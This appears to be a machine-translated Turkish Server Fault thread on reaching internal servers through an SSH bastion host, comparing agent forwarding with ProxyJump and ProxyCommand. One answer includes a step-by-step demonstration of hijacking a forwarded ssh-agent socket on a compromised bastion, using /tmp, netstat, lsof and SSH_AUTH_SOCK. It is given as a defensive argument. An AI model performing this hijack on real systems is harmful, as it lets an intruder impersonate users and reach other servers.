Tabya sunucusu: TCP yönlendirme VS'yi sunucuya özel anahtar yerleştirerek kullanın


10

Bastion B sunucumuz var. Özel anahtarı kullanarak A'dan B'ye C'ye SSH'ye ihtiyacımız var.

Daha iyi seçenek nedir:

  • Özel SSH anahtarını B sunucusuna koyun. Bunu bir üretim ortamında yapmanın kötü bir fikir olduğunu okuduk.

    Gönderen burada :

    SSH özel anahtarlarınızı asla bastion örneğine yerleştirmeyin. Bunun yerine, önce tabana ve oradan özel alt ağlardaki diğer örneklere bağlanmak için SSH aracı iletmeyi kullanın. Bu, SSH özel anahtarınızı yalnızca bilgisayarınızda tutmanıza olanak tanır.

  • SSH aracı iletmeyi kullanın . Ajan iletmeyi ayarlamak için TCP İletmeye izin vermem gerekiyor. Aracı yönlendirmeyi ayarlarken, yönlendirme ana bilgisayarında, anahtarın hedefe iletilebileceği mekanizma olan bir soket dosyası oluşturulur. AWS'deki Bastion ayarlarında:

    TCP iletme: Bu değerin true olarak ayarlanması TCP iletmeyi (SSH tüneli) etkinleştirir. Bu çok yararlı olabilir, ancak aynı zamanda bir güvenlik riskidir, bu nedenle gerekmedikçe varsayılan (devre dışı) ayarını korumanızı öneririz.

    Ayrıca buradan :

    SSH Ajan Yönlendirme zararlı olarak kabul edilir

Ne daha iyi? İkinci bağlantıdan alternatif ne olacak: ProxyCommand , soket dosyası sorununa yardımcı olduğunu anlıyorum, ama yine de TCP iletmeyi etkinleştirmem gerektiğini düşünüyorum, bu yüzden yeterince güvenli mi?


2
ProxyCommand ile TCP yönlendirmeyi etkinleştirmeniz gerekmez. Yönlendirme ara konaktaki ssh tarafından yapılır.
wurtel

Teşekkürler. Yapılandırma dosyası olmalı mıydı? bilgisayarımda mı yoksa Bastion'da mı?
user2503775

ssh hostbKomutu gireceğiniz yerel sisteminizde, yerel yapılandırmada hostb arayabilir ve hosta üzerinden bağlanması gerektiğini bilir.
Konfigürasyonu hosta'ya

C sunucusunun özel anahtarı nerede saklanacak? benim comp de? Keepass ile keeAgent kullanıyorum
user2503775

2
Korkarım TCP yönlendirmeyi Ajan iletimi ile karıştırıyorsunuz . Bunlar farklı şeyler.
MLu

Yanıtlar:


13

ProxyCommand veya ProxyJump kullanın

Ben ProxyCommand(ya da daha iyi ProxyJumpsözdizimi daha kolay ama opensh 7.3 + gerektirir istemci tarafında düşünüyorum) kullanmanızı tavsiye ederim , ve Bastion özel anahtar dağıtmak gerekmez, her şey yerel kalır.

ProxyJump ile örnek

İstemci bilgisayarınızda ~/.ssh/config, aşağıdakine benzer bir içeriğe sahip bir dosya yazarsınız :

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Daha sonra ssh srvCAjan Yönlendirme veya özel anahtarı tabana dağıtmadan B (bastion) aracılığıyla C'ye bağlanacaksınız.

Yukarıdaki örnekte, "bastion" Bastion ana makinenizin bir takma adıdır ve srvC, sunucunuzun C için bir takma adıdır. Barındırıcılarınız için HostNameIP veya gerçek tam etki alanı adı girmeniz gerekir. Kullanıcılar Useriçin Bastion ve C sunucusunda doğru oturum açma adını güncellemeniz gerekir . Son olarak, IdentityFileyerel bir ajan (örn. KeeAgent veya ssh-agent) kullanıyorsanız isteğe bağlıdır, ancak çalışmıyorsa, o zaman da çalışın ve her anahtar parola için sizden isteyin.

Ortak anahtarları dağıtma

Tabii ki genel anahtarları hem bastion'a hem de srvC'ye dağıtmanız gerekir . Kullanabilirsiniz ($ işareti sadece istemi göstermek içindir, yazmayın):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Not: Yukarıdakiler yalnızca şifre kimlik doğrulamasına hala izin veriliyorsa çalışır. Yukarıdaki dağıtım ve her şeyin gerektiği gibi çalıştığını doğruladıktan sonra, 2 sunucuda parola kimlik doğrulamasına izin vermemelisiniz.

ProxyJump yerine ProxyCommand ile örnek

OpenSSH'nin ProxyJump(istemci tarafında) desteklemeyen eski bir sürümüne sahipseniz , değiştirin:

ProxyJump bastion

tarafından

ProxyCommand ssh -q -W %h:%p bastion

Anladığım kadarıyla, bu benzer.


Teşekkür ederim! Linux ile çalışıyorum, ancak bazı ekip üyelerimiz pencerelerde çalışıyor. Orada da çalışmalı, değil mi?
user2503775

Hangi SSH istemcisini kullanacaklar? MobaXterm gibi OpenSSH (WSL veya cygwin veya benzeri) veya PuTTY (veya PuTTY tabanlı başka bir araç)?
Huygens

Bazıları PuTTy, diğerleri ise Git Shell üzerinden ssh kullanır.
user2503775

@ user2503775 PuTTY ile hiç denemedim, ancak ProxyCommand yaklaşımını kullanarak mümkün görünüyor, buraya bakın: stackoverflow.com/a/28937185
Huygens

1
Ayrıntılı cevap için çok teşekkür ederim!
user2503775

5

ProxyJump ile ilgili cevabı gördüm. ProxyCommand hakkında konuşalım .

Ama bekle, bekle! Size Ajan iletimi kullanan sunucuyu nasıl hackleyeceğinizi yazabilirim , bu farkı anlamak çok daha kolay olurdu!

Hack edelim!

Temel adımlar için: benim post okuyabilir burada

Temel adımlar şunlardır:

  1. Bastion kullanıcıları oluşturma
  2. Kök girişini devre dışı bırak
  3. Bilgisayar korsanlığı girişimlerini engelle
  4. Bağlantı noktasını değiştir
  5. Güvenlik duvarını yapılandırın
  6. SELinux'u yapılandır

AgentForwarding nasıl kullanılır?

-~ / .Ssh / config içinde yapılandırma oluştur

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

- Kimlik doğrulama anahtarınızı ssh-agent'a ekleyin

ssh-add ~/.ssh/name_rsa

- Bodrum hoslarına bağlan

ssh bast

-Başlangıçtan uygulama sunucusunu bağlayın

 ssh app@IP -p PORT

Hacklemek!

Bana şu soruyu sorabilirsiniz:

  • Sunucum güvenli mi? Ve cevap oldukça basit:

    • HAYIR!
  • Neden?

    • Çünkü SSH Agent yönlendirmesini kullanıyorsunuz!
  • Peki sorun nerede?

    • Çünkü Ajan iletimi tehlikelidir ve zararlı olarak kabul edilir.
  • Neden?

    • Her şeyi içten dışa açıklayalım: Bastion host'u bağladığınızda şanlı ssh-ajanınız yönlendirilir. Bu, soketin birisinin sunucularınıza erişmek için bu soket verilerini kullanabileceği şekilde ayarlanacağı anlamına gelir. Bastion sunucunuzun güvenliğinin ihlal edildiğini düşünün, Birisi Linux sunucunuzda yeterli izinlere sahipse, sadece soket bilgilerinizi kullanacaktır. Sonuç olarak, tüm sunucunuza erişilebilir. Uzlaşma penceresinin çok küçük olduğunu biliyorum çünkü burç ev sahibine ne kadar zaman bağlı olduğunuza bağlı. Ancak ProxyCommand gibi başka seçenekleriniz olduğunda gerçekten risk almak istiyor musunuz? Bu nedenle, sadece ProxyCommand kullanın!

Bastion ana bilgisayarından ödün verdiyseniz sunucuları nasıl hackleyebilirim?

Hedefi Takip Et

/ Tmp dizininde şöyle bir şey görebilirsiniz:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Geçici dosyayı açalım

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Bu işlem kimliğine bağlantıları görelim .

netstat -nxp | grep  10507

sonuç:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

ve kim bağlı?

lsof -i -a -p 10507

sonuç:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Soket dosyalarını da görebiliriz:

cd /proc/10507/fd/
ls

sonuç:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Ve ne olur istemci zaman bağlanacaktır uzak sunucuya? bakalım:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Soket dosyasının netstat kullanılarak kullanılıp kullanılmadığını bile görebiliriz:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Steal Socket bilgisi ve IP adresi

Şimdi kalesi konağın oturumu ise soket bilgilerini çalmak için gereken açık . Oh, ayrıca hedef sunucu IP'sine ihtiyacımız var , bu yüzden sadece netstat kullanın:

netstat -tn

Son adım kullanmaya iletilen soket dosyasını

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Anahtarın yüklü olup olmadığını kontrol edin .

ssh-add -l

şey olması gerektiği sonucu böyle :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Sunucu saldırıya uğradı, güvenlik sorunu nasıl düzeltilir?

Proxy komutu

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Temel işlemler için: dosyalar sunucudan nasıl aktarılır (istemciden sunucuya, sunucudan istemciye), yazıma buradan ulaşabilirsiniz

Sonuç

  • Bastion host kullanıyorsanız AgentForwarding'i değil, ProxyCommand'ı kullanın
  • Kimlik doğrulaması için her zaman kök olmayan kullanıcıyı kullan
  • Bir güvenlik duvarı kullanın ve tüm gereksiz bağlantıları engelleyin.
  • SELinux kullanın (Genel olarak)
  • Birkaç kez hatalı kimlik bilgileriyle oturum açmaya çalışan IP adresini engelleyin
  • Gerekli değilse kullanıcıya sudo izni vermeyin
  • Sunucunuzu izleyin
  • Sunucunuzu güvenlik yamaları için güncelleyin

Daha fazla bilgi için bloguma bakın . Ayrıca bazı screeenshots var, bu yüzden sizin için yararlı olabilir.


Çok teşekkür ederim! Aslında, girişte google kimlik doğrulayıcı da kullanıyoruz.
user2503775

Ssh uygulaması aramaya çalışırken bir hata alıyorum: channel 0: open failed: administratively prohibited: open failed. stdio forwarding failed. . Neden olduğu hakkında bir fikrin var mı? Güvenli günlüğünde şunu görüyorum:refused local port forward: originator 127.0.0.1 port 65535, target *app-ip* port 22
user2503775

Güzel bilgi. Cevabınızın okunabilirliğini artırmak için küçük bir tavsiye. Blogunuzun içeriğini buraya kopyalamayın / yapıştırmayın. Bağlantıyı ve yalnızca bir özet sağlayın. Sonra gerçek cevap kısmını vurgulayın (sizin için ProxyCommand kullanıyor). Başta denediğinizi gördüm ama kopyala / yapıştır kısmı göz önüne alındığında kafa karıştırıcıydı. Her neyse +1
Huygens

@ user2503775 Farklı bir sorun olmalı, ssh-agent forwarding / proxy komutu ile ilgili değil. Günlüklerle yeni bir soru açalım.
grep


4

Diğerlerinin çoğu gibi SSH aracı iletmeyi kullanın .

  • Anahtarlar dizüstü bilgisayarınızda ssh ajan olacak .
  • Aracıya doğrulanmış olan kaleme giriş yaptınız.
  • Oradan oturum açma hedef ana bilgisayarınıza, kimlik doğrulama isteği dizüstü bilgisayarınıza geri yönlendirilir .

Avantajı: tabanda saklanabilecek yanlış anahtar yoktur.

Umarım yardımcı olur :)


Merhaba, OP'nin ikinci mermisinde temel olarak anlattığı şey budur. Soruda verilen ikinci bağlantıyı kontrol etmenizi tavsiye ederim.
Huygens

@Huygens true Şimdi fark ettim. TCP iletmeyi Ajan iletimi ile karıştırırken bunu gözden kaçırdım.
MLu

Gerçekten bu karışık :-)
Huygens

Karışık değil. Farkı anlıyorum. Soruyu netleştirmek için düzenledim.
kullanıcı2503775

Ben ajan yönlendirme kesmek nasıl bir cevap yazdım (anahtar yok ama açık soket var). Genellikle, ajan iletme tamam çünkü anahtarları çalma olasılığı çok düşük - her şeyden önce, bastion host'u hacklemelisiniz. Her neyse cevabımı görebilirsiniz: serverfault.com/a/958466/476642
grep
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.